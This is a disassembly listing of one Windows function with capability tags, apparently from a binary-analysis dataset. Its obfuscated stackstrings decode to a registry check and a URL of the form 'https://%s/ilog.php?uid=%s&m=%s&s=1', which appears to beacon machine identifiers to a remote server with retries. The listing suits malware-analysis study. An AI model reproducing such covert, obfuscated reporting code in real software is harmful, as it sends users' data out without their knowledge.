Function at 0x496450
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x497dc8
mov eax, dword fs:[0]
push eax
sub esp, 0x2a4
mov eax, dword [0x4bf070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x64]
mov dword [ebp - 0x64], 0x74666f53
push eax
lea ecx, [ebp - 0x27c]
mov dword [ebp - 0x5d], 0x55455c65
mov word [ebp - 0x59], 0x4b44
mov word [ebp - 0x60], 0x6177
mov byte [ebp - 0x57], 0
mov byte [ebp - 0x5e], 0x72
mov dword [ebp - 0x27c], 0
call fcn.0040bf20
push 0x104
lea eax, [ebp - 0x170]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.004179d0
add esp, 0xc
lea ecx, [ebp - 0x170]
call fcn.00496d30
lea eax, [ebp - 0x170]
push eax
lea ecx, [ebp - 0x2ac]
call fcn.0040bf20
push 0x4b7e58
mov edx, eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2a8]
call fcn.00408ae0
add esp, 4
lea ecx, [ebp - 0x27c]
mov byte [ebp - 4], 2
push ecx
mov edx, eax
lea ecx, [ebp - 0x280]
call fcn.00408bd0
add esp, 4
mov byte [ebp - 4], 3
mov edx, dword [eax]
mov edi, dword [ebp - 0x27c]
add edi, 0xfffffff0
lea ecx, [edx - 0x10]
cmp ecx, edi
je 0x496571
cmp dword [edi + 0xc], 0
jl 0x496562
mov eax, dword [ecx]
cmp eax, dword [edi]
jne 0x496562
call fcn.0040bfe0
mov ecx, edi
mov esi, eax
call fcn.0040c610
lea eax, [esi + 0x10]
mov dword [ebp - 0x27c], eax
jmp 0x496571
push dword [edx - 0xc]
lea ecx, [ebp - 0x27c]
push edx
call fcn.0040be40
mov byte [ebp - 4], 2
or ebx, 0xffffffff
mov ecx, dword [ebp - 0x280]
mov eax, ebx
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], eax
dec eax
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
test eax, eax
jg 0x4965b2
mov edx, dword [ecx]
push ecx
mov eax, dword [edx]
mov edi, dword [eax + 4]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x4965ae
mov eax, dword [edx + 4]
push 0
push dword [eax + 4]
call esi
jmp 0x4965b2
mov ecx, edx
call edi
mov byte [ebp - 4], 1
mov eax, ebx
mov ecx, dword [ebp - 0x2a8]
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x4965ea
mov edx, dword [ecx]
push ecx
mov eax, dword [edx]
mov edi, dword [eax + 4]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x4965e6
mov eax, dword [edx + 4]
push 0
push dword [eax + 4]
call esi
jmp 0x4965ea
mov ecx, edx
call edi
mov byte [ebp - 4], 0
mov eax, ebx
mov ecx, dword [ebp - 0x2ac]
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x496622
mov edx, dword [ecx]
push ecx
mov eax, dword [edx]
mov edi, dword [eax + 4]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x49661e
mov eax, dword [edx + 4]
push 0
push dword [eax + 4]
call esi
jmp 0x496622
mov ecx, edx
call edi
lea eax, [ebp - 0x288]
mov dword [ebp - 0x284], 0
push eax
lea eax, [ebp - 0x284]
mov dword [ebp - 0x288], 4
push eax
lea eax, [ebp - 0x28c]
mov dword [ebp - 0x28c], 4
push eax
lea eax, [ebp - 0x50]
mov dword [ebp - 0x40], 0x696570
push eax
push dword [ebp - 0x27c]
mov dword [ebp - 0x4f], 0x65747379
push reloc.WS2_32.dll_closesocket
mov dword [ebp - 0x47], 0x6e6f464b
mov dword [ebp - 0x4b], 0x4455456d
mov word [ebp - 0x43], 0x5474
mov byte [ebp - 0x50], 0x53
mov byte [ebp - 0x41], 0x79
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
cmp dword [ebp - 0x284], 1
jne 0x49686a
lea ecx, [ebp - 0x280]
mov dword [ebp - 0x280], 0
call fcn.0040c650
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2a8]
mov dword [ebp - 0x23], 0x253d6469
mov dword [ebp - 0x38], 0x70747468
mov dword [ebp - 0x2c], 0x2e676f6c
mov dword [ebp - 0x33], 0x252f2f3a
mov dword [ebp - 0x1d], 0x73253d6d
mov dword [ebp - 0x28], 0x3f706870
mov word [ebp - 0x19], 0x7326
mov byte [ebp - 0x34], 0x73
mov word [ebp - 0x2f], 0x2f73
mov word [ebp - 0x1f], 0x2673
mov word [ebp - 0x16], 0x31
mov byte [ebp - 0x24], 0x75
mov byte [ebp - 0x2d], 0x69
mov byte [ebp - 0x17], 0x3d
call fcn.004135a0
mov esi, eax
lea ecx, [ebp - 0x2ac]
mov byte [ebp - 4], 5
call fcn.004058b0
push str.bc518bf45fde40a7b69e75d9e2c385eb
mov byte [ebp - 4], 6
push dword [esi]
push dword [eax]
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x280]
push eax
call fcn.0040ae40
add esp, 0x14
lea ecx, [ebp - 0x2ac]
call fcn.0040c260
lea ecx, [ebp - 0x2a8]
call fcn.0040c260
mov esi, dword [ebp - 0x280]
xor edi, edi
nop word [eax + eax]
push 0x104
lea eax, [ebp - 0x278]
push 0
push eax
call fcn.004179d0
add esp, 0xc
lea ecx, [ebp - 0x278]
call fcn.00496d30
mov dword [ebp - 0x290], 0xf
mov dword [ebp - 0x294], 0
mov byte [ebp - 0x2a4], 0
lea eax, [ebp - 0x2a4]
mov byte [ebp - 4], 7
push eax
push esi
call fcn.004a40b0
test al, al
je 0x4967ee
cmp dword [ebp - 0x290], 0x10
lea ecx, [ebp - 0x2a4]
mov edx, dword [ebp - 0x294]
cmovae ecx, dword [ebp - 0x2a4]
push 1
push 0x4b7e84
call fcn.00403cd0
add esp, 8
test eax, eax
je 0x496823
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x290]
cmp eax, 0x10
jb 0x496817
inc eax
lea ecx, [ebp - 0x2a4]
push eax
push dword [ebp - 0x2a4]
call fcn.004056c0
inc edi
cmp edi, 6
jl 0x496770
jmp 0x49682e
lea ecx, [ebp - 0x2a4]
call fcn.00405260
mov byte [ebp - 4], 0
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x496864
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
mov edx, dword [eax + 4]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x496862
mov eax, dword [ecx + 4]
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push dword [eax + 4]
call esi
jmp 0x49686a
call edx
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x27c]
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x4968a3
mov edx, dword [ecx]
push ecx
mov eax, dword [edx]
mov edi, dword [eax + 4]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x49689f
mov eax, dword [edx + 4]
push 0
push dword [eax + 4]
call esi
jmp 0x4968a3
mov ecx, edx
call edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041553e
mov esp, ebp
pop ebp
ret